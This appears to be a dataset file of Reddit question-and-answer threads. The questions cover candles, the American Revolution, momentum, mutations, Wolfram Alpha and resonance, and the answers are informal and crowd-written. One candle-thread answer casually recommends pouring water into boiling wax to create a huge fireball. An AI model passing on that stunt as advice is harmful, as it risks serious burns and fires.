{"q_id": "4xb8bk", "title": "why isn't it possible to reuse candles with the used wax?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xb8bk/eli5_why_isnt_it_possible_to_reuse_candles_with/", "answers": {"a_id": ["d6dztnh", "d6dzwi6", "d6e6am3", "d6e6jp5", "d6e70rg", "d6e742g"], "score": [80, 10, 3, 3, 6, 2], "text": ["You could take any leftover wax and reform it around a new wick if you wanted to.  But most of the wax is gone because that is what actually burns.  The wick is just a tool for keeping the fire close to the wax and for bringing the wax up to the flame like a straw. ", "There shouldn't be any wax left, what kind of candles are you using?\n\nCandles burn the wax away over time.", "It is possible.\n\nAn already used candle doesn't have as much wax as when it was new. But you can easily heat the left over wax so that it is moldable/dippable and re-use it", "There's a product called \"[rekindle candle](_URL_0_)\" that catches the wax drippings and forms them into a new candle. ", "It's totally possible to reuse wax. I do the same thing with my soap. Six bars in a pack, but I keep the stubs when they're too small. \n\nGet six little stubs of soap, put them in a cup, and microwave for about 30-45 seconds. Pour the cup of hot liquid soap into plastic wrap. Shape into a bar shape, but be careful, because it's hot! Bam! Seventh bar of soap. \n\nNow the real trick. Keep that seventh stub and add it to the next set of six. Eternal soap. It's like that trick where you cut up a chocolate bar but never lose anything. \n\nRecycle your wax, OP. It's totally possible.", "Pour a pot of water into a large metal bucket filled with boiling candle wax and you will make a 15-20 foot tall fireball. I used to do this all the time with my buddies in highschool. Nearly all of the the wax is consumed in the inferno.\n\nEdit: spelling"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://laughingsquid.com/rekindle-candle-a-candlestick-holder-that-forms-melted-wax-into-a-new-candle/"], [], []]}
{"q_id": "6ihn97", "title": "During the American Revolution, why were charges made against the King, as opposed to Parliament?", "selftext": "Didn't the revolutions and civil war reduce the power of the monarch?  Was it a specific point that the founding fathers were trying to make charging the King?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ihn97/during_the_american_revolution_why_were_charges/", "answers": {"a_id": ["dj6lolq"], "score": [6], "text": ["You ask an excellent question. After a brief search for an identical thread, I was shocked that I did not come across one. (I admit, however that the search was brief! I don\u2019t always have the patience for research. My apologize if a thread already exists.)\n\nLet me be begin by suggesting a few threads that will provide some background: \n\n* u/AsianWarrior24 [At which point in time did the Parliament of England start having more control and authority than the monarch and how was this achieved?](_URL_3_).\n\n* u/solidgol [Why weren't the American colonies offered seats in the UK parliament, thus removing the main reason for the revolution?](_URL_0_).\n\n* u/seospider [Did American colonists want representation in British Parliament or to not pay additional taxes?](_URL_1_).\n\nNow, to your specific question: To make a long story short, popular opinion turned against King George III after the war had already broken out in the colonies. While Thomas Jefferson\u2019s Declaration of Independence is most remembered for its \u201call men are created equal\u201d and \u201cinalienable rights\u201d clauses, David Armitage rightly demonstrates that at the time these were the \u201cthrow away lines\u201d; or, as another historian tells his undergrad students, the \u201cyadda, yadda, yadda\u201d section of the document. The reality is that the Declaration of Independence was a document meant to justify what some might have called an unjust civil war or rebellion. In the DOI, Jefferson specifically charges King George III with violating his duties as sovereign and endangering the people of the British colonies in America. Among the numerous charges were the King\u2019s failure to protect colonists from \u201cmerciless savages\u201d and the King\u2019s direct involvement in the promotion of \u201cdomestic insurrection\u201d (read that as \u201cslave rebellion\u201d and see [Dunmore\u2019s Proclamation](_URL_2_). Collectively, Jefferson uses the DOI to justify the rebellion against the British King.\n\nThis direct assault on the King, however, was not present in some of the earliest complaints of the American colonists. The Revolutionary Period began well before Lexington and Concord in 1775. While I would argue going back even further to recognize some earlier trends the indicated trouble was brewing, colonial complaints became evident shortly after the end of the Seven Years War (French and Indian War in North America) in 1763. One of the first attempts to generate revenue for the nearly bankrupt British Empire was the Stamp Act, which placed a tax on official paper goods including newspapers and playing cards along with wills and deeds. Although the tax was based on earlier taxes instituted in New York, colonial uproar stretched from the Caribbean Islands to Quebec and Halifax. Even though in reality colonists in the thirteen colonies that would become the United States were among the least taxed peoples in the British Empire, the increasing attention the British Parliament paid to the North American colonies after French expulsion did not sit well. Even after demonstrations and riots caused the Parliament to repeal the tax, others shortly followed.\n\nThroughout the tax conflicts, American colonists focused the majority of their complaints towards Parliament. While I believe Americans lean too heavily on \u201cTaxation without Representation\u201d to explain the coming of the American Revolution, (there should be more emphasis on increasing slavery, growing mercantile expansion, rural versus cosmopolitan divides, religious difference, etc.) colonists did indeed charge Parliament with breaking their English rights by taxing the colonists who were not able to represent themselves. During this period, American colonists actually praised King George III as protector of colonial people and urged royal interference in the corrupt Parliament. You see, many American colonials looked back across the Atlantic and believed their British counterparts had shied away from being protectors of liberty. Colonists believed avarice and greed were rampant in Parliament and believed the King alone could quell such follies. (This also differed from region to region. For example, Virginians had supported Royalist forces during the English Civil War and so were more likely to naturally side with the King, while Puritans in New England were strong supporters of Parliament and Cromwell. There could be a whole post on this, so I\u2019ll just leave that there; it\u2019s oversimplified and doesn\u2019t do it full justice, but it\u2019s only meant to add context.)\n\nWhen fighting broke out in Lexington and Concord, both the King and a majority of Parliament (though there were objectors) believed that swift action was necessary to put down the New England rebellion. However, British measures to ensure that the rebellion did not spread to other colonies backfired and caused the mobilization of many patriots along the eastern seaboard. In this sense, many colonists turned on the King once they perceived him to be in allegiance with Parliament. In New York City, famously, rebels tore town a statue of the King and melted it down to form musket balls. The King had failed to allay the American colonists from their Parliamentary oppressors. Furthermore, the King had advised his royally appointed governors to actively undermine American institutions. The publication of Thomas Paine\u2019s incendiary *Common Sense threw gas on the fire. Paine brilliantly argued how British control of the American colonies was exploitative and illogical. He also depicted George III as a villain intent on keeping his Empire and the colonists subjugated to his control. By July of 1776, the American colonists were convinced that the rebellion that began in Massachusetts was now the common cause of all the colonies with the aim of independence. When Jefferson wrote the declaration on behalf of the thirteen states, some had already declared themselves independent. Jefferson\u2019s targeting of the King for his grievances reflected the sentiments of most American colonists.\n\nTL;DR: American colonists turned against George III when he didn\u2019t step in and stop Parliament from \u201cbullying\u201d (as they saw it) the American colonies.\n\nSources\n\nDavid Armitage  *The Declaration of Independence*\n\nPauline Maier *American Scripture*\n\nBernard Bailyn *The Ideological Origins of the American Revolution*\n\nThomas Paine *Common Sense*\n\nGordon Wood *The Radicalism of the American Revolution* \n\nIibid. *Revolutionary Characters*\n\nAndrew Jackson O\u2019Shaughnessy *An Empire Divided*\n\nT. H. Breen *The Marketplace Revolution*\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4zf87c/why_werent_the_american_colonies_offered_seats_in/?ref=search_posts", "https://www.reddit.com/r/AskHistorians/comments/5poxi0/did_american_colonists_want_representation_in/?ref=search_posts", "http://www.history.org/history/teaching/tchaadun.cfm", "https://www.reddit.com/r/AskHistorians/comments/4ityuz/at_which_point_in_time_did_the_parliament_of/?ref=search_posts"]]}
{"q_id": "2hc5ne", "title": "if a object with a smaller mass and momentum goes into a an object with a bigger mass that is stationary what will happen to the heavier object?", "selftext": "if an object with a smaller mass goes into an object with a larger mass that is stationary what is the momentum of the heavier object.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2hc5ne/if_a_object_with_a_smaller_mass_and_momentum_goes/", "answers": {"a_id": ["ckrcczf"], "score": [2], "text": ["The larger mass object will absorb the mass and momentum of the smaller mass, meaning that its final mass will be the sum of the two initial masses (ignoring relativistic effects), and its final momentum will be the sum of the initial momentum of the two objects. Since the larger mass object had no momentum to start with, its final momentum will just be the momentum it absorbs from the smaller mass object. \n\nIf the larger mass is bolted to the ground or has large friction with the ground, the Earth will act like it is part of the larger object, and they will both absorb the momentum, so that the larger mass object will not move relative to the ground. If the larger object is free (i.e. sitting on ice), it will begin moving because of the momentum it is absorbed. But if the larger mass object has a far higher mass than the smaller one, and the smaller object is going slow, the large object will not end up moving very fast because there was not much momentum for it is absorb."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "axu1mm", "title": "why are most mutation on human bad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axu1mm/eli5_why_are_most_mutation_on_human_bad/", "answers": {"a_id": ["ehw573u", "ehw5rky", "ehw8lf9"], "score": [5, 8, 3], "text": ["Because millions of years of evolution have been fine tuning your DNA to increase your fitness and likelihood to pass it on to future generations. Randomly changing bits would be like hitting an incredibly complicated, well-running machine with a heavy wrench. One in a million times it will make the thing run better, but most often it'll have the opposite effect. ", "Actually, most mutations in the human genome are harmless! I\u2019ll let someone else explain the science behind how mutations happen, but there are actually many mutations that are harmless or even beneficial. The ability to drink milk is one of them! So is blue eyes, the ability to curl your tongue, and having a widow\u2019s peak.", "You shoot a bullet into an engine.  \nMost of the time it pings off the engine block and does nothing.  \nSome time's it hits something important and breaks it.  \nAnd in a rare rare rare event, it makes something better.  \n  \nThat's what a random mutation is to a genome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "tb8c5", "title": "What do indigenous peoples use instead of toilet paper? Is there any research on this?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tb8c5/what_do_indigenous_peoples_use_instead_of_toilet/", "answers": {"a_id": ["c4l4hcx", "c4l66w2", "c4l6bhw", "c4l7q1j", "c4l87p8", "c4lbofj"], "score": [10, 5, 15, 3, 4, 2], "text": ["Leaves and other plant matter, some defecate directly into the water.  ", "Humans evolved to defecate in a squatting position, not the sitting position we use now.  If you squat everything comes out very cleanly, and all you need is a quick wipe with a leaf or a splash of water.", "Left hand. Don't offer a left handed handshake to people for this reason, especially in the Middle East.", "I will leave this here. Comical but a pretty accurate explanation nonetheless. Please bear with the mix of  Tamil and English, or blame the Queen.\n\n_URL_0_ ", "Forget indigenous people... before TP, rural Americans used to use... wait for it... corncobs.", "In most parts of the world, water is still used as a main way of cleaning up.\n\nHere's a somewhat comical yet informative video:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=dKkryfdtMNQ"], [], ["http://www.youtube.com/watch?v=dKkryfdtMNQ"]]}
{"q_id": "3xta1h", "title": "How unique are the Jews as an ethnic group which has seemingly maintained their identity and culture over thousands of years?", "selftext": "Are there other groups like this?\n\nAre there also groups which, like Jews, are seemingly spread over the globe, not located primarily in some long existent home country (like the Chinese or Indians, or Egyptian - and are, say, Egyptians 'the same' as Ancient Egyptians? Are Jews 'the same' as the ancient Hebrews, for that matter?)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3xta1h/how_unique_are_the_jews_as_an_ethnic_group_which/", "answers": {"a_id": ["cy823p5", "cy8creo", "cy8mc0e", "cy8wl2f"], "score": [24, 5, 2, 2], "text": ["You might be interested in the history of the Assyrian Church of the East. While (obviously) not as old as Judaism, it was wildly different from either the Orthodox or Roman Catholic tradition in doctrine, while still being able to claim apostolic roots. Specifically, the Church followed Nestorian doctrine of Christology, which had been condemned at the Council of Ephesus in 431. My understanding of theology in this area is weak, but the basic gist is that the Western churches held that Christ contain one incarnate nature of the Word (fully divine and fully human at once), Nestorius held that Christ contained two full, but dis-unified natures. \n\nThe reason why this community is interesting, in regards to your question, is that is was based in the Sasanid Empire in the Middle East and for many centuries it had almost no contact with the West. It had to compete and/or co-exist with sometimes hostile majority religions, such as Islam, but was able to spread over Asia. Around the 10th century, it had the biggest geographical extent of any of the branches of Christianity. It established communities in India (also known as St. Thomas Christians) which exist to this day as well as others in China and among the Mongols. Other communities still exist in Iran, Iraq and Syria and currently one branch called the Chaldean Catholic Church regularly interfaces with the Roman Catholic Pope. \n\nReferences:\n\nI've read two books on this. One is called The Lost History of Christianity: The Thousand Year Golden Age of the Church in the Middle East by Philip Jenkins (2009). The Other is The Church of the East: An Illustrated History of Assyrian Christianity by Christoph Baumer (2006). \n\nFull disclosure, I am a layperson on this topic and would appreciate anyone correcting my points, especially differentiating Nestorian Christianity from other churches.", "There is evidence to suggest that Australian Aboriginals have passed on [oral accounts of the sea levels rising](_URL_0_) since the end of the last Ice Age. \n\nThe article linked above suggests these stories could be in the region of 10,000 years old, and Aboriginal culture in general is  accepted as being at least 40,000 years old.\n\nNot sure if this is quite what you're asking since Australia spent most of those 40,000 years isolated from the rest of the world, but there were hundreds of tribes that were pretty good at maintaining their identity and culture until Colonisation.", "Is there any hard scientific evidence linking modern day Jews to the Hebrews of the bible?", "Are the ancient Chinese \"the same\" as the modern Chinese? The ancient Indians? The ancient Egyptians? In each case, there are important differences that are obscured by our use of the same name for peoples across thousands of years. For instance, it is difficult to talk about ancient Indians (or modern Indians for that matter) as an ethnic group and not just the people inhabiting the geographical area called India. Similarly, English usage doesn't really distinguish between ethnic Han Chinese (who did not necessarily use a single name throughout their long history) and the inhabitants of China.\n\nThe Jews have a better claim to being a single group, but still Jewish culture (customs, religious practices, language) would have varied widely throughout history and regions. What stayed the same was the label and shared sense of identity, which for most of history was based on Judaism.\n\nAnyway, if you are looking for ethnic labels still in use today that have a history of thousands of years, there are numerous examples such as Persians, Nubians, Assyrians, and Armenians as well as the Samaritans (although rabbinic Judaism considers them a branch of Jews). How much continuity there is between ancient bearers of these labels and the modern counterparts may be disputed, of course.\n\nThe Romani are a prime example of an ethnic group spread throughout a vast area and not concentrated in a \"homeland\". You can also find other groups like the Circassians and Assyrians who are found mostly outside their historical homeland."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://theconversation.com/ancient-aboriginal-stories-preserve-history-of-a-rise-in-sea-level-36010"], [], []]}
{"q_id": "myhvx", "title": "what wolfram alpha is suppose to do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/myhvx/eli5_what_wolfram_alpha_is_suppose_to_do/", "answers": {"a_id": ["c34uv4x", "c34uxnp", "c34uz3m", "c34v4mi", "c34v6xv", "c34vat1", "c34vvdy", "c34wyev", "c34uv4x", "c34uxnp", "c34uz3m", "c34v4mi", "c34v6xv", "c34vat1", "c34vvdy", "c34wyev"], "score": [4, 65, 22, 3, 13, 5, 10, 3, 4, 65, 22, 3, 13, 5, 10, 3], "text": ["Like Google for calculations you don't want to do.  It's a calculator for all sorts of things. Try it out, and see what questions it answers for you.\n   \n[example](_URL_2_)    \n[example](_URL_0_)    \n[example](_URL_4_)    \n[example](_URL_3_)    \n[example](_URL_1_)     \n", "I think the goal of it is to be able to answer any knowledge or data question really quickly, but it's still in a very early state of development... it seems to only respond to keywords and not very complex questions, at least in my experience.\n\nI just wish it was more like the worldwide supercomputer 'Multivac' in Isaac Asimov's sci-fi short stories, which could answer any question you could throw at it (except one... I highly recommend anybody to read \"The Last Question\" it's only a ~15 minute and [completely mind-blowing read written in 1956](_URL_0_)), but I'm pretty sure that Wolfram Alpha, Google, and Reddit (yes just these 3) will all culminate into this within the century anyways (and I would think that Wolfram Alpha was inspired by the Multivac idea, though there were probably other similar predictions of such an entity before) ", "It is very beneficial for getting through Calculus.", "Generally anything involving hard data, maths, or statistics.\n\nFor example: If you use it to look up a country, you get population figures, numbers of vehicles, area, GDP, km of roads. That sort of stuff.\n\nIf you use a normal search engine, you get pages that have information about  the country, but it is likely to be less numbery. So information about the history, tourist spots, the current government, etc. Not that you will not get the same information as WA provides, but WA is better if that is what you are looking for.\n\nIt is also very good at anything related to maths, being tied into Mathematica.\n\nAnd looking for amusing Easter eggs. Go ask if it is Skynet for example.\n\nEdit: Some examples of the latter.\n\n* [Are you Skynet?](_URL_5_)\n* [Are you alive?](_URL_7_)\n* [What is the airspeed of an unladen swallow?](_URL_8_)\n* [What is six times seven?](_URL_0_)\n* [What is your name?](_URL_4_)\n* [What is your favourite colour?](_URL_9_)\n* [What is your Quest?](_URL_1_)\n* [Why?](_URL_2_)\n* [What is the loneliest number you'll ever do?](_URL_3_)\n* [What is the moon made out of?](_URL_6_)\n\nMost of the answers are obvious.", "I think guywhodoesstuff was onto the right answer for what I think you're looking for.  The ultimate goal of wolfram alpha is the ability to pose fairly specific questions in a general fashion and have wolfram alpha both interpret the answer you wish to obtain and then either find, analyze or compute the answer for you.  For instance, say you wanted to know how the Chinese economy is doing compared to the United State's but didn't want to crack open an economics textbook or call your uncle who works at the state department.  [Wolfram Alpha has you covered](_URL_10_)\n\nSay you were going to be moving to Kansas soon and you wanted a general idea of how many people live in there compared to say New York.  Well [this page](_URL_8_) and [this page](_URL_7_), combined with [this page](_URL_1_) and [this page](_URL_2_) would be able to help you out.  \n\nSay your friends were worried about how much time you spend on this site but didn't want to actually go to _URL_5_ to see what it was like.  They could find out a little information on it with [this page](_URL_3_) and [this page](_URL_3_+vs+digg).\n\nTo be honest, the possibilities are endless if you're considering anything financial.  [These](_URL_11_) [types](_URL_0_) [of](_URL_4_) [pages](_URL_6_) alone could keep you busy for hours.  Well, not that last one so much but I find the link I hyperlinked to 'pages' to be far more interesting than any of the other ones.  Notice how many options it gives you at the top when it's not sure how to exactly interpret what you want.\n\nWolfram Alpha's real power is that as its developers point it towards more and more searchable databases, its ability to interpret answers will only grow.", "5 year old answer: It's a magical calculator. It's purpose is basically to just answer anything you want to know, but it's not that great at doing that right now and wants to be better in the future.", "It's a really good calculator (Wolfram Mathematica) connected to a fast growing database with fast improving pattern recognition, so that it understands your question (hopefully as well as a human would, eventually).\nThere are two things it really excels at TODAY: \n\n* Doing stuff Mathematica does, but with less of a learning curve. Good for doing undergrad math problems.\n\n* Settling nerd arguments quickly, e.g. \"Africa is half the size of Asia\", or \"Norwegians drink three times more Coffee than Americans\". The latter question even gets you a graph so you can see how drinking coffee got even more popular (compared to the US) over time in Norway.\n\nThe first question is simply \"area africa/area asia\", the second is \"((consumption coffee norway)/(population norway))/((consumption coffee united states)/(population united states))\"", "You can find out about the [aircraft overhead](_URL_0_).", "Like Google for calculations you don't want to do.  It's a calculator for all sorts of things. Try it out, and see what questions it answers for you.\n   \n[example](_URL_2_)    \n[example](_URL_0_)    \n[example](_URL_4_)    \n[example](_URL_3_)    \n[example](_URL_1_)     \n", "I think the goal of it is to be able to answer any knowledge or data question really quickly, but it's still in a very early state of development... it seems to only respond to keywords and not very complex questions, at least in my experience.\n\nI just wish it was more like the worldwide supercomputer 'Multivac' in Isaac Asimov's sci-fi short stories, which could answer any question you could throw at it (except one... I highly recommend anybody to read \"The Last Question\" it's only a ~15 minute and [completely mind-blowing read written in 1956](_URL_0_)), but I'm pretty sure that Wolfram Alpha, Google, and Reddit (yes just these 3) will all culminate into this within the century anyways (and I would think that Wolfram Alpha was inspired by the Multivac idea, though there were probably other similar predictions of such an entity before) ", "It is very beneficial for getting through Calculus.", "Generally anything involving hard data, maths, or statistics.\n\nFor example: If you use it to look up a country, you get population figures, numbers of vehicles, area, GDP, km of roads. That sort of stuff.\n\nIf you use a normal search engine, you get pages that have information about  the country, but it is likely to be less numbery. So information about the history, tourist spots, the current government, etc. Not that you will not get the same information as WA provides, but WA is better if that is what you are looking for.\n\nIt is also very good at anything related to maths, being tied into Mathematica.\n\nAnd looking for amusing Easter eggs. Go ask if it is Skynet for example.\n\nEdit: Some examples of the latter.\n\n* [Are you Skynet?](_URL_5_)\n* [Are you alive?](_URL_7_)\n* [What is the airspeed of an unladen swallow?](_URL_8_)\n* [What is six times seven?](_URL_0_)\n* [What is your name?](_URL_4_)\n* [What is your favourite colour?](_URL_9_)\n* [What is your Quest?](_URL_1_)\n* [Why?](_URL_2_)\n* [What is the loneliest number you'll ever do?](_URL_3_)\n* [What is the moon made out of?](_URL_6_)\n\nMost of the answers are obvious.", "I think guywhodoesstuff was onto the right answer for what I think you're looking for.  The ultimate goal of wolfram alpha is the ability to pose fairly specific questions in a general fashion and have wolfram alpha both interpret the answer you wish to obtain and then either find, analyze or compute the answer for you.  For instance, say you wanted to know how the Chinese economy is doing compared to the United State's but didn't want to crack open an economics textbook or call your uncle who works at the state department.  [Wolfram Alpha has you covered](_URL_10_)\n\nSay you were going to be moving to Kansas soon and you wanted a general idea of how many people live in there compared to say New York.  Well [this page](_URL_8_) and [this page](_URL_7_), combined with [this page](_URL_1_) and [this page](_URL_2_) would be able to help you out.  \n\nSay your friends were worried about how much time you spend on this site but didn't want to actually go to _URL_5_ to see what it was like.  They could find out a little information on it with [this page](_URL_3_) and [this page](_URL_3_+vs+digg).\n\nTo be honest, the possibilities are endless if you're considering anything financial.  [These](_URL_11_) [types](_URL_0_) [of](_URL_4_) [pages](_URL_6_) alone could keep you busy for hours.  Well, not that last one so much but I find the link I hyperlinked to 'pages' to be far more interesting than any of the other ones.  Notice how many options it gives you at the top when it's not sure how to exactly interpret what you want.\n\nWolfram Alpha's real power is that as its developers point it towards more and more searchable databases, its ability to interpret answers will only grow.", "5 year old answer: It's a magical calculator. It's purpose is basically to just answer anything you want to know, but it's not that great at doing that right now and wants to be better in the future.", "It's a really good calculator (Wolfram Mathematica) connected to a fast growing database with fast improving pattern recognition, so that it understands your question (hopefully as well as a human would, eventually).\nThere are two things it really excels at TODAY: \n\n* Doing stuff Mathematica does, but with less of a learning curve. Good for doing undergrad math problems.\n\n* Settling nerd arguments quickly, e.g. \"Africa is half the size of Asia\", or \"Norwegians drink three times more Coffee than Americans\". The latter question even gets you a graph so you can see how drinking coffee got even more popular (compared to the US) over time in Norway.\n\nThe first question is simply \"area africa/area asia\", the second is \"((consumption coffee norway)/(population norway))/((consumption coffee united states)/(population united states))\"", "You can find out about the [aircraft overhead](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=10+furlongs", "http://www.wolframalpha.com/input/?i=whos+the+man", "http://www.wolframalpha.com/input/?i=ounces+in+a+pound", "http://www.wolframalpha.com/input/?i=1000+days+ago", "http://www.wolframalpha.com/input/?i=3x3x3ft"], ["http://www.multivax.com/last_question.html"], [], ["http://www.wolframalpha.com/input/?i=What+is+six+times+seven%3F", "http://www.wolframalpha.com/input/?i=What+is+your+quest%3F", "http://www.wolframalpha.com/input/?i=Why%3F", "http://www.wolframalpha.com/input/?i=What+is+the+loneliest+number+you+will+ever+do%3F", "http://www.wolframalpha.com/input/?i=What+is+your+name%3F", "http://www.wolframalpha.com/input/?i=are+you+skynet%3F", "http://www.wolframalpha.com/input/?i=What+is+the+moon+made+out+of%3F", "http://www.wolframalpha.com/input/?i=are+you+alive%3F", "http://www.wolframalpha.com/input/?i=What+is+the+airspeed+of+an+unladen+swallow%3F", "http://www.wolframalpha.com/input/?i=What+is+your+favourite+colour%3F"], ["http://www.wolframalpha.com/input/?i=nvidia+vs+ati", "http://www.wolframalpha.com/input/?i=most+populated+cities+in+New+York", "http://www.wolframalpha.com/input/?i=crime+rates+in+New+York", "http://www.wolframalpha.com/input/?i=reddit", "http://www.wolframalpha.com/input/?i=amd+vs+intel", "Reddit.com", "http://www.wolframalpha.com/input/?i=peanut+butter+or+jelly", "http://www.wolframalpha.com/input/?i=crime+rates+in+Kansas", "http://www.wolframalpha.com/input/?i=most+populous+cities+in+Kansas", "http://www.wolframalpha.com/input/?i=reddit+vs+digg", "http://www.wolframalpha.com/input/?i=gdp+of+china+vs+gdp+of+USA", "http://www.wolframalpha.com/input/?i=google+vs+yahoo"], [], [], ["http://www.wolframalpha.com/input/?i=aircraft+overhead"], ["http://www.wolframalpha.com/input/?i=10+furlongs", "http://www.wolframalpha.com/input/?i=whos+the+man", "http://www.wolframalpha.com/input/?i=ounces+in+a+pound", "http://www.wolframalpha.com/input/?i=1000+days+ago", "http://www.wolframalpha.com/input/?i=3x3x3ft"], ["http://www.multivax.com/last_question.html"], [], ["http://www.wolframalpha.com/input/?i=What+is+six+times+seven%3F", "http://www.wolframalpha.com/input/?i=What+is+your+quest%3F", "http://www.wolframalpha.com/input/?i=Why%3F", "http://www.wolframalpha.com/input/?i=What+is+the+loneliest+number+you+will+ever+do%3F", "http://www.wolframalpha.com/input/?i=What+is+your+name%3F", "http://www.wolframalpha.com/input/?i=are+you+skynet%3F", "http://www.wolframalpha.com/input/?i=What+is+the+moon+made+out+of%3F", "http://www.wolframalpha.com/input/?i=are+you+alive%3F", "http://www.wolframalpha.com/input/?i=What+is+the+airspeed+of+an+unladen+swallow%3F", "http://www.wolframalpha.com/input/?i=What+is+your+favourite+colour%3F"], ["http://www.wolframalpha.com/input/?i=nvidia+vs+ati", "http://www.wolframalpha.com/input/?i=most+populated+cities+in+New+York", "http://www.wolframalpha.com/input/?i=crime+rates+in+New+York", "http://www.wolframalpha.com/input/?i=reddit", "http://www.wolframalpha.com/input/?i=amd+vs+intel", "Reddit.com", "http://www.wolframalpha.com/input/?i=peanut+butter+or+jelly", "http://www.wolframalpha.com/input/?i=crime+rates+in+Kansas", "http://www.wolframalpha.com/input/?i=most+populous+cities+in+Kansas", "http://www.wolframalpha.com/input/?i=reddit+vs+digg", "http://www.wolframalpha.com/input/?i=gdp+of+china+vs+gdp+of+USA", "http://www.wolframalpha.com/input/?i=google+vs+yahoo"], [], [], ["http://www.wolframalpha.com/input/?i=aircraft+overhead"]]}
{"q_id": "1g6opc", "title": "why is it that when we do something pleasurable (e.g. eating) we often (at least i think so) save the best for last?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1g6opc/eli5_why_is_it_that_when_we_do_something/", "answers": {"a_id": ["cah93s1", "cah998b"], "score": [2, 6], "text": ["So we can have the feeling again at a later time, or we can wait and experience the pleasure that the \" best\" wholesome and without interference of something else. Like eating your food before desert. I'd rather finish off with the taste of something sweet instead of string beans or carrots, etc.", "Perhaps it comes down to the concepts of **gathering** and **ownership**. We love to savor all sorts of experiences, from eating to watching a certain movie to planning that first kiss with a new lover. \n\nSavoring, in my eyes, is very similar to owning. I notice my dog doing this all the time, and the habit transcends to humans. She will take a bone, chew it for a short amount of time, and then just sort of.. spend time with it. If she thinks I mean to take the bone away, back she will go and have great passion for it again. \n\nIf we have a big steak on the plate, our prize and joy - We like to extend the feeling of attainment and ownership for as long as possible. If you eat all the steak first, the plate looks underwhelming and maybe a little more feeble. But, as long as some of the best stuff is still there, we are in a constant state of pride of our possession. \n\n.\n\nAnother angle, not so much to do with food is that as humans we love **anticipation**. It is an extremely powerful distraction - if you are going through hell, the knowledge that something amazing is on the horizon is enough to give you pre-cursory joy for whatever that special treat is. A good example is TV - people may anticipate Game Of Thrones, and it is a tense but exciting week full of speculation, excitement and most of all distraction. Once the episode is out, I would be interested to know how many people actually dive to watch it. After that wait, it almost feels sweeter to wait just a little longer, and let the anticipation really burn in your heart. Then, boom, as with sex, you build to an undeniable climax where desire overwhelms willpower, and that feeling is oh, so, sublime. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bp5nzy", "title": "i know resonance is when you vibrate something at its natural frequency and so it vibrates more, but what is a natural frequency and why do different things have different natural frequencies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bp5nzy/eli5_i_know_resonance_is_when_you_vibrate/", "answers": {"a_id": ["enp1etn", "enpcf0p", "enpjsx6", "enpuse4"], "score": [33, 6, 3, 4], "text": ["Clap. Now smack your chest. Now slap your butt.\n\nAll different sounds, right? That's bc they are built differently. Your hands have little muscle, and many bones, the sound will be high pitched (high resonance frecuency), your chest will sound more like a deep bass. It has bigger bones than your hands and a huge empty space bc of the lungs. And your butt will be a midground, bc it's mostly muscle and fat.\n\nThe frecuency (sound) a material or objet has and resonates at depends on a lot of factors. Tension, material, hardness, mass, thickness, weight.\n\nThe best way to picture this is simply grabbing a guitar. Thin cords are high pitched, thick cords are low pitched. And you can modify the pitch by adding tension.", "The easiest way to think about resonance is a guitar string.\n\nNow, the string is a certain length. Less obviously, every material has a certain speed of sound. For example, the speed of sound in air is ~343 m/s (depending on various factors) while the speed of sound in copper is ~4600 m/s.\n\nSo let's create an impulse that strikes our string. This impulse will create a wave that propagates at 4600 m/s (for copper). When that impulse reaches the end of the string, it reflects back down the string the other way - and continues to bounce back and forth from end to end until it fades away.\n\nFor resonance to exist, the wave formed by this activity must have a wavelength equal to the length of the strength. When that occurs, you get a standing wave (the peaks/valleys stay in the same position on the string) that reinforces itself.\n\nEverywhere else, reflected waves interfere with the original wave to some extent and reduce its amplitude.\n\nThe same process happens with different geometries, but the reflections are a lot harder to track than they would be on a straight line. Likewise, if you have multiple materials, the boundary between materials will refract the waves.", "Every item can be thought of as some kinds of weights, attached to some kinds of springs. The more complex the item, the more springs and weights. The weights are the parts of the item - all the bits and bobs of the structure, that have mass - even the weight of the air or liquid in a pipe has mass, and the springs can be metal or timber that bends or stretches, pressures in the air as it is squashed or stretched.\n\nAs you know, a weight hanging of a spring will bounce. Change the type of spring or the size of the weight, and it will bounce at a different pace. So it is with any other item - increase the length or weight of any item, or the size and length of a tube filled with air, and the 'bouncing' that happens in it will change.", "A good way to reason natural frequency that have probably experienced is with a swing. Natural frequency is such that when you add a force to something that is oscillating it will increase its amplitude (efficiently). If someone is on a swing and you just slap them on the back they won\u2019t swing any higher. You need to push them at the natural frequency of the swing in order for your force to be effectively added to the system. \n\nThis video from Mark Rober explains this well. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/pFEB0chiuJA"]]}
